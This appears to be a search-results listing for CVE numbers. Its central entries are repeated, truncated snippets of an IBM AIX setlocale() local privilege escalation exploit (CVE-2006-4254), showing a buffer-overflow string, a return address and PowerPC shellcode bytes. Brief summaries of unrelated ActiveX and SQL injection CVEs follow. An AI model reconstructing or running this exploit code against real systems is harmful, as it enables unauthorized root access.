169 matches found
setlocate-local.txt
setlocale exploit for aix 5.2 CVE-2006-4254 [email protected] from os import execve bof="a"580+"bbbbccccdddd\x2f\xf2\x28\x2f" egg="\x60"2350 shellcode= by intropy caughq.org "\x7c\xa5\x2a\x79" xor. r5,r5,r5 "\x40\x82\xff\xfd" bnel "\x7f\xe8\x02\xa6" mflr r31 "\x3b\xff\x01\x20" cal...
IBM AIX 5.3.0 - setlocale() Local Privilege Escalation
IBM AIX 5.3.0 - setlocale Local Privilege Escalation setlocale exploit for aix 5.2 CVE-2006-4254 [email protected] from os import execve bof="a"580+"bbbbccccdddd\x2f\xf2\x28\x2f" egg="\x60"2350 shellcode= by intropy caughq.org "\x7c\xa5\x2a\x79" xor. r5,r5,r5 "\x40\x82\xff\xfd" bnel...
IBM AIX <= 5.3.0 setlocale() Local Privilege Escalation Exploit
Exploit for aix platform in category local exploits =============================================================== IBM AIX caughq.org "\x7c\xa5\x2a\x79" xor. r5,r5,r5 "\x40\x82\xff\xfd" bnel "\x7f\xe8\x02\xa6" mflr r31 "\x3b\xff\x01\x20" cal r31,0x120r31 "\x38\x7f\xff\x08" cal r3,-248r31...
IBM AIX 5.3.0 - 'setlocale()' Local Privilege Escalation
setlocale exploit for aix 5.2 CVE-2006-4254 [email protected] from os import execve bof="a"580+"bbbbccccdddd\x2f\xf2\x28\x2f" egg="\x60"2350 shellcode= by intropy caughq.org "\x7c\xa5\x2a\x79" xor. r5,r5,r5 "\x40\x82\xff\xfd" bnel "\x7f\xe8\x02\xa6" mflr r31 "\x3b\xff\x01\x20" cal...
CVE-2007-4254
CVE-2007-4254 is a stack-based buffer overflow in the MSVDTActiveX control (VDT70.DLL) used by Microsoft Visual Database Tools Database Designer 7.0 (Visual Studio 6). The NotSafe method accepts a long argument, which can overflow a buffer and enable remote code execution. The vulnerability affec...
CVE-2007-4254
Stack-based buffer overflow in a certain ActiveX control in VDT70.DLL in Microsoft Visual Database Tools Database Designer 7.0 for Microsoft Visual Studio 6 allows remote attackers to execute arbitrary code via a long argument to the NotSafe method. NOTE: this may overlap CVE-2007-2885 or...
CVE-2006-4254
CVE-2006-4254 affects IBM AIX 5.1.0 through 5.3.0 via the setlocale() function, enabling local privilege escalation. Connected sources provide concrete exploit code and disclosure of local-privilege pathways (e.g., userland exploitation using crafted inputs and shellcode). Public writeups show at...
CVE-2005-4254
DreamPoll 3.0 final (DreamLevels) contains a SQL injection vulnerability in view_Results.php, exploitable via the id parameter to execute arbitrary SQL. The issue is documented with a CVSS v2 base score of 7.5 (HIGH), affecting confidentiality, integrity, and availability (partial impact) with ne...
